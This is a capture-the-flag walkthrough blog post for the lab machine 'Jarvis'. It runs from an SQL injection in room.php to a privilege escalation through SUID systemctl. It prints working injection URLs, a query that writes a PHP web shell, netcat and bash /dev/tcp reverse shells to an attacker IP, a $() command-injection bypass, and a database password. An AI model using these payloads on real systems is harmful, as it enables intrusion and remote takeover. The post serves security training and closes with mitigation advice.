Post

Jarvis

Jarvis

Introduction

In this walkthrough, I tackled Jarvis, a medium-difficulty Linux machine. It starts with a web server that includes DoS and brute-force protection mechanisms. By identifying a manually exploitable SQL injection vulnerability, I was able to upload a web shell for initial access. With limited privileges, I discovered that the www user could execute a script as another user, which was vulnerable to command injection—allowing me to escalate privileges. Deeper enumeration revealed that systemctl had the SUID bit set, and I leveraged this misconfiguration to obtain a root shell.

Nmap

TCP

Run a quick Nmap TCP scan:

1
sudo nmap -sV $IP --open

image.png

UDP

Check top 100 UDP ports:

1
sudo nmap -sU -F $IP

image.png

Full Port Scan

1
sudo nmap -sV -sC -p- $IP -Pn -n -v --open

image.png

Services

Port 22

Version - OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)

We usually skip SSH.

Web

Port 80

Version - Apache httpd 2.4.25 ((Debian))

Gobuster Scan

image.png

Port 64999

Nothing here.

Exploitation

Checking for room.php we see it gets a number from the user and displays that room.

image.png

Let’s check for SQLi.

image.png

By putting 6'-- // image is not returned, let’s also try without quote

image.png

Without a quote it worked that means parameter expects integer.

I tried to find number of columns with ORDER BY , it will always return success till first fail happens and it cannot find column to sort referring to that column. After number 7 it does not return an image, so we can infer that number of columns is 7.

I tried getting information about database version and our current user, but it didn’t return any results in any injection points(null), so I changed a valid parameter value to invalid one so that it does not override our injected values.

  • Version and current user

    http://10.10.10.143/room.php?cod=-1 union select null,null,system_user(),null,version(),null,null -- //

    image.png

    Now it returned results.

  • Listing databases

    http://10.10.10.143/room.php?cod=-1 union select null,null,null,null,SCHEMA_NAME,null,null FROM INFORMATION_SCHEMA.SCHEMATA;-- // - returns information about databases.

    image.png

  • Listing tables in database

    http://10.10.10.143/room.php?cod=-1 union select null,TABLE_NAME,null,null,null,TABLE_SCHEMA,null FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='hotel' -- //

    image.png

  • Listing columns

    http://10.10.10.143/room.php?cod=-1 union select null,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA,null,null,null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='room' -- //

    image.png

    cod column of room table of hotel database.

  • Dumping data

    http://10.10.10.143/room.php?cod=-1 union select null,cod,null,null,null,null,null FROM hotel.room -- //

    Reading the column I suppose we can just read valid cod numbers that we already checked and no use from them for us.

    image.png

As we are Database Admin we should be able to write and read data, we already encountered phpmyadmin I am gonna try to read its credentials from config file.

  • Reading files

    Testing for super admin privileges we see that we have privileges

    http://10.10.10.143/room.php?cod=-1 union select null,super_priv,null,null,null,null,null FROM mysql.user-- //

    image.png

    http://10.10.10.143/room.php?cod=-1 union select null,load_file("/etc/passwd"),null,null,null,null,null -- //

    image.png

  • Writing files

    The secure_file_priv variable is used to determine where to read/write files from. An empty value lets us read files from the entire file system. Otherwise, if a certain directory is set, we can only read from the folder specified by the variable. On the other hand, NULL means we cannot read/write from any directory. MariaDB has this variable set to empty by default, which lets us read/write to any file if the user has the FILE privilege.

    http://10.10.10.143/room.php?cod=-1 union select null,variable_name,variable_value,null,null,null,null FROM information_schema.global_variables where variable_name="secure_file_priv" -- //

    image.png

    Variable is empty, that means we can read and write to any directory that are in our shell user privileges.

    http://10.10.10.143/room.php?cod=-1 union select null,"<?php system($_GET['cmd']);?>",null,null,null,null,null INTO OUTFILE "/var/www/html/webshell.php"-- //

    image.png

That’s it writing worked, now I am gonna try to get a reverse shell.

I found out that target contains busybox and used it to get a reverse shell:

1
busybox nc 10.10.14.12 443 -e /bin/bash

Now we have a shell let’s make it interactive:

1
python3 -c 'import pty; pty.spawn("/bin/bash")’

image.png

Checking connection.php I found database credentials:

image.png

But nothing interesting identified inside. I used same password pepper user but it didn’t work.

Credentials

1
DBadmin : imissyou

Lateral Movement

Checking sudo privileges I see that I can execute /var/www/Admin-Utilities/simpler.py as pepper without password.

I found that we have socat installed let’s make a shell fully interactive:

1
2
socat file:`tty`,raw,echo=0 tcp-listen:4444 #on Kali
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.12:4444 # on victim machine

I found a script called simpler.py under /var/www/Admin-Utilities and it has 3 functions,

  • -s prints statistics about the attacker, most risky attack,
  • -l prints attacker IP
  • -p pings the attacker

I noticed ping here and inspecting the source code I see performs ping request to provided IP address

1
2
3
4
5
6
7
8
def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Got you')
            exit()
    os.system('ping ' + command)

but it restricts the usage of characters that cause command injection, but one is missing here sub-shell.

We can execute command using $(command) and it is not prevented by the script.

I am gonna write a reverse shell script in a .sh because - is blocked and then execute the script.

1
2
3
#! /bin/bash

busybox nc 10.10.14.12 4445 -e /bin/bash
1
10.10.14.12$(/tmp/script.sh)

image.png

You can make the shell persistent using same method with socat.

Privilege Escalation

  • OSCP Checklist
    • Situational awareness
    • Exposed Confidential Information
    • Password Authentication Abuse
    • Hunting Sensitive Information
    • Sudo
    • SUID/SGID
    • Capabilities
    • Cron Jobs Abuse
    • Kernel Exploits
    • Check if sudoers file is writable
    • Try credentials you already obtained for various services admin roles

Checking for SUID bits set I see systemctl:

1
find / -perm -u=s -type f 2>/dev/null

image.png

GTFOBins-systemctl-SUID

For some reason exact methodology didn’t work for me here, I created mine.service under /home/pepper directory with content:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#On attacker machine
1. echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.12/6666 0>&1'
[Install]
WantedBy=multi-user.target' > attacker.service

#On target
2. wget http://10.10.14.12/attacker.service -O /home/pepper/mine.service

3. TF=/home/pepper/mine.service

4. systemctl link $TF

5. systemctl enable --now $TF

image.png

Now we are root!

Mitigation

  • Apply input validation and use parameterized queries to prevent SQL injection.
  • Restrict web shell upload paths and enforce proper file permissions.
  • Avoid using SUID on powerful binaries like systemctl.
  • Review sudo and script execution permissions to prevent privilege escalation.
  • Regularly audit the system for insecure file permissions and configurations.
This post is licensed under CC BY 4.0 by the author.